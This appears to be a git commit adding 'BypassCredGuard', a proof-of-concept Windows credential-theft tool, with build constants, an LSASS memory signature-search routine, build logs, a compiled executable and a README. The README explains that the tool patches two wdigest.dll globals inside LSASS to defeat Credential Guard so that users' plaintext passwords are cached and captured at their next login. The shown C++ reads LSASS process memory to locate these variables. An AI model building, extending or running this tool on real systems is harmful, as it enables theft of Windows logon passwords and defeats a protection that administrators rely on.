+#if !defined(NT_SUCCESS)
+#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
+#endif
+
+#define WIN_BUILD_XP 2600
+#define WIN_BUILD_2K3 3790
+#define WIN_BUILD_VISTA 6000
+#define WIN_BUILD_7 7600
+#define WIN_BUILD_8 9200
+#define WIN_BUILD_BLUE 9600
+#define WIN_BUILD_10_1507 10240
+#define WIN_BUILD_10_1511 10586
+#define WIN_BUILD_10_1607 14393
+#define WIN_BUILD_10_1703 15063
+#define WIN_BUILD_10_1709 16299
+#define WIN_BUILD_10_1803 17134
+#define WIN_BUILD_10_1809 17763
+#define WIN_BUILD_10_1903 18362
+#define WIN_BUILD_10_1909 18363
+#define WIN_BUILD_10_2004 19041
+#define WIN_BUILD_10_20H2 19042
+#define WIN_BUILD_10_21H2 19044
+#define WIN_BUILD_2022 20348
+
+#define WIN_MIN_BUILD_XP 2500
+#define WIN_MIN_BUILD_2K3 3000
+#define WIN_MIN_BUILD_VISTA 5000
+#define WIN_MIN_BUILD_7 7000
+#define WIN_MIN_BUILD_8 8000
+#define WIN_MIN_BUILD_BLUE 9400
+#define WIN_MIN_BUILD_10 9800
+#define WIN_MIN_BUILD_11 22000
+
+
+extern DWORD NT_MAJOR_VERSION, NT_MINOR_VERSION, NT_BUILD_NUMBER;
+
+#ifdef __cplusplus
+extern "C" VOID WINAPI RtlGetNtVersionNumbers(LPDWORD pMajor, LPDWORD pMinor, LPDWORD pBuild);
+#endif
\ No newline at end of file
diff --git a/BypassCredGuard/utils.cpp b/BypassCredGuard/utils.cpp
new file mode 100644
index 0000000..588f7e9
--- /dev/null
+++ b/BypassCredGuard/utils.cpp
@@ -0,0 +1,63 @@
+#include "stdafx.h"
+
+BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1)
+{
+ BOOL status = FALSE;
+ MEMORY_SEARCH sMemory = { {pLib->Informations.DllBase.address, pLib->Informations.SizeOfImage}, NULL };
+ PPATCH_GENERIC currentReference;
+ LONG offset;
+ MEMORY_ADDRESS lsassMemory;
+
+ if (currentReference = GetGenericFromBuild(genericReferences, cbReferences, cLsass->osContext.BuildNumber))
+ {
+ if (MemorySearch(cLsass->hProcess, currentReference->Search.Pattern, currentReference->Search.Length, &sMemory))
+ {
+ wprintf(L"[*] Matched signature at 0x%016llx: ", sMemory.result);
+ PrintfHex(currentReference->Search.Pattern, currentReference->Search.Length);
+
+ lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off0;
+ if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
+ {
+ *genericPtr = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
+ }
+
+ if (genericPtr1)
+ {
+ lsassMemory.address = (PBYTE)sMemory.result + currentReference->Offsets.off1;
+ if (status = ReadProcessMemory(cLsass->hProcess, lsassMemory.address, &offset, sizeof(LONG), NULL))
+ {
+ *genericPtr1 = ((PBYTE)lsassMemory.address + sizeof(LONG) + offset);
+ }
+ }
+ }
+ }
+ pLib->isInit = status;
+ return status;
+}
+
+
+PPATCH_GENERIC GetGenericFromBuild(PPATCH_GENERIC generics, SIZE_T cbGenerics, DWORD BuildNumber)
+{
+ SIZE_T i;
+ PPATCH_GENERIC current = NULL;
+
+ for (i = 0; i < cbGenerics; i++)
+ {
+ if (generics[i].MinBuildNumber <= BuildNumber)
+ {
+ current = &generics[i];
+ }
+ else break;
+ }
+ return current;
+}
+
+
+void PrintfHex(LPCVOID lpData, DWORD cbData)
+{
+ for (DWORD i = 0; i < cbData; i++)
+ {
+ wprintf(L"%02x ", ((LPCBYTE)lpData)[i]);
+ }
+ wprintf(L"\n");
+}
\ No newline at end of file
diff --git a/BypassCredGuard/utils.h b/BypassCredGuard/utils.h
new file mode 100644
index 0000000..78e6489
--- /dev/null
+++ b/BypassCredGuard/utils.h
@@ -0,0 +1,6 @@
+#pragma once
+#include "stdafx.h"
+
+BOOL LsaSearchGeneric(PLSA_CONTEXT cLsass, PLSA_LIB pLib, PPATCH_GENERIC genericReferences, SIZE_T cbReferences, PVOID* genericPtr, PVOID* genericPtr1);
+PPATCH_GENERIC GetGenericFromBuild(PPATCH_GENERIC generics, SIZE_T cbGenerics, DWORD BuildNumber);
+void PrintfHex(LPCVOID lpData, DWORD cbData);
\ No newline at end of file
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.Build.CppClean.log b/BypassCredGuard/x64/Debug/BypassCredGuard.Build.CppClean.log
new file mode 100644
index 0000000..af45bd0
--- /dev/null
+++ b/BypassCredGuard/x64/Debug/BypassCredGuard.Build.CppClean.log
@@ -0,0 +1,17 @@
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\vc143.pdb
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\vc143.idb
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\utils.obj
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\process.obj
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\privilege.obj
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\memory.obj
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\lsa.obj
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.obj
+c:\users\whoami\source\repos\bypasscredguard\x64\debug\bypasscredguard.exe
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.ilk
+c:\users\whoami\source\repos\bypasscredguard\x64\debug\bypasscredguard.pdb
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\cl.command.1.tlog
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\cl.read.1.tlog
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\cl.write.1.tlog
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\link.command.1.tlog
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\link.read.1.tlog
+c:\users\whoami\source\repos\bypasscredguard\bypasscredguard\x64\debug\bypasscredguard.tlog\link.write.1.tlog
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.exe.recipe b/BypassCredGuard/x64/Debug/BypassCredGuard.exe.recipe
new file mode 100644
index 0000000..8e855e1
--- /dev/null
+++ b/BypassCredGuard/x64/Debug/BypassCredGuard.exe.recipe
@@ -0,0 +1,11 @@
+
+
+
+
+ C:\Users\whoami\source\repos\BypassCredGuard\x64\Debug\BypassCredGuard.exe
+
+
+
+
+
+
\ No newline at end of file
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.ilk b/BypassCredGuard/x64/Debug/BypassCredGuard.ilk
new file mode 100644
index 0000000..ae56724
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.ilk differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.log b/BypassCredGuard/x64/Debug/BypassCredGuard.log
new file mode 100644
index 0000000..0219d54
--- /dev/null
+++ b/BypassCredGuard/x64/Debug/BypassCredGuard.log
@@ -0,0 +1,12 @@
+ BypassCredGuard.cpp
+ lsa.cpp
+C:\Users\whoami\source\repos\BypassCredGuard\BypassCredGuard\lsa.cpp(43,11): warning C4477: “wprintf”: 格式字符串“%016llx”需要类型“unsigned __int64”的参数,但可变参数 1 拥有了类型“LPVOID”
+C:\Users\whoami\source\repos\BypassCredGuard\BypassCredGuard\lsa.cpp(47,12): warning C4477: “wprintf”: 格式字符串“%016llx”需要类型“unsigned __int64”的参数,但可变参数 1 拥有了类型“PWORD”
+C:\Users\whoami\source\repos\BypassCredGuard\BypassCredGuard\lsa.cpp(48,12): warning C4477: “wprintf”: 格式字符串“%016llx”需要类型“unsigned __int64”的参数,但可变参数 1 拥有了类型“PWORD”
+ memory.cpp
+ privilege.cpp
+ process.cpp
+ utils.cpp
+C:\Users\whoami\source\repos\BypassCredGuard\BypassCredGuard\utils.cpp(15,12): warning C4477: “wprintf”: 格式字符串“%016llx”需要类型“unsigned __int64”的参数,但可变参数 1 拥有了类型“LPVOID”
+ 正在生成代码...
+ BypassCredGuard.vcxproj -> C:\Users\whoami\source\repos\BypassCredGuard\x64\Debug\BypassCredGuard.exe
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.obj b/BypassCredGuard/x64/Debug/BypassCredGuard.obj
new file mode 100644
index 0000000..27a10a5
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.obj differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/BypassCredGuard.lastbuildstate b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/BypassCredGuard.lastbuildstate
new file mode 100644
index 0000000..a4a24a1
--- /dev/null
+++ b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/BypassCredGuard.lastbuildstate
@@ -0,0 +1,2 @@
+PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.31.31103:TargetPlatformVersion=10.0.19041.0:
+Debug|x64|C:\Users\whoami\source\repos\BypassCredGuard\|
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.command.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.command.1.tlog
new file mode 100644
index 0000000..f02b5cf
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.command.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.read.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.read.1.tlog
new file mode 100644
index 0000000..7e12e56
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.read.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.write.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.write.1.tlog
new file mode 100644
index 0000000..6a0db97
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/CL.write.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.command.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.command.1.tlog
new file mode 100644
index 0000000..f5f782e
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.command.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.read.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.read.1.tlog
new file mode 100644
index 0000000..a7f2b17
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.read.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.write.1.tlog b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.write.1.tlog
new file mode 100644
index 0000000..9294245
Binary files /dev/null and b/BypassCredGuard/x64/Debug/BypassCredGuard.tlog/link.write.1.tlog differ
diff --git a/BypassCredGuard/x64/Debug/BypassCredGuard.vcxproj.FileListAbsolute.txt b/BypassCredGuard/x64/Debug/BypassCredGuard.vcxproj.FileListAbsolute.txt
new file mode 100644
index 0000000..e69de29
diff --git a/BypassCredGuard/x64/Debug/lsa.obj b/BypassCredGuard/x64/Debug/lsa.obj
new file mode 100644
index 0000000..afa5c78
Binary files /dev/null and b/BypassCredGuard/x64/Debug/lsa.obj differ
diff --git a/BypassCredGuard/x64/Debug/memory.obj b/BypassCredGuard/x64/Debug/memory.obj
new file mode 100644
index 0000000..6919171
Binary files /dev/null and b/BypassCredGuard/x64/Debug/memory.obj differ
diff --git a/BypassCredGuard/x64/Debug/privilege.obj b/BypassCredGuard/x64/Debug/privilege.obj
new file mode 100644
index 0000000..dd75d28
Binary files /dev/null and b/BypassCredGuard/x64/Debug/privilege.obj differ
diff --git a/BypassCredGuard/x64/Debug/process.obj b/BypassCredGuard/x64/Debug/process.obj
new file mode 100644
index 0000000..cdcf166
Binary files /dev/null and b/BypassCredGuard/x64/Debug/process.obj differ
diff --git a/BypassCredGuard/x64/Debug/utils.obj b/BypassCredGuard/x64/Debug/utils.obj
new file mode 100644
index 0000000..eba9475
Binary files /dev/null and b/BypassCredGuard/x64/Debug/utils.obj differ
diff --git a/BypassCredGuard/x64/Debug/vc143.idb b/BypassCredGuard/x64/Debug/vc143.idb
new file mode 100644
index 0000000..2c80e18
Binary files /dev/null and b/BypassCredGuard/x64/Debug/vc143.idb differ
diff --git a/BypassCredGuard/x64/Debug/vc143.pdb b/BypassCredGuard/x64/Debug/vc143.pdb
new file mode 100644
index 0000000..72df861
Binary files /dev/null and b/BypassCredGuard/x64/Debug/vc143.pdb differ
diff --git a/README.md b/README.md
index 8bcee8a..e8ba24c 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,17 @@
-# BypassCredGuard
-Credential Guard Bypass Via Patching Wdigest Memory
+## BypassCredGuard - Credential Guard Bypass Via Patching Wdigest Memory
+
+### Background
+
+Adam Chester ([@_xpn_](https://twitter.com/_xpn_)) wrote an article called ["Exploring Mimikatz - Part 1 - WDigest"](https://blog.xpnsec.com/exploring- mimikatz-part-1/) about memory patching to enable UseLogonCredential and make Wdigest cache cleartext credentials intrigued me.
+
+The wdigest.dll module loaded by the LSASS process has two interesting global variables: `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`, their role is self-evident from the name alone, the former is used to determine whether the clear text password should be stored in memory , the latter holds the state of the Windows Defender Credential Guard within the module, and Wdigest plaintext password caching can be enabled on systems with Credential Guard by patching the values of these two global variables in memory.
+
+### Let’s see it in action
+
+Run the POC we wrote on the system with Credential Guard protection enabled. When the user enters the username and password to log in again, we get his plaintext password again, as shown in the figure below.
+
+```c++
+BypassCredGuard.exe
+```
+
+
\ No newline at end of file
diff --git a/images/image-20230118230536164.png b/images/image-20230118230536164.png
new file mode 100644
index 0000000..a849cee
Binary files /dev/null and b/images/image-20230118230536164.png differ
diff --git a/x64/Debug/BypassCredGuard.exe b/x64/Debug/BypassCredGuard.exe
new file mode 100644
index 0000000..baedd53
Binary files /dev/null and b/x64/Debug/BypassCredGuard.exe differ
diff --git a/x64/Debug/BypassCredGuard.pdb b/x64/Debug/BypassCredGuard.pdb
new file mode 100644
index 0000000..1eb8d48
Binary files /dev/null and b/x64/Debug/BypassCredGuard.pdb differ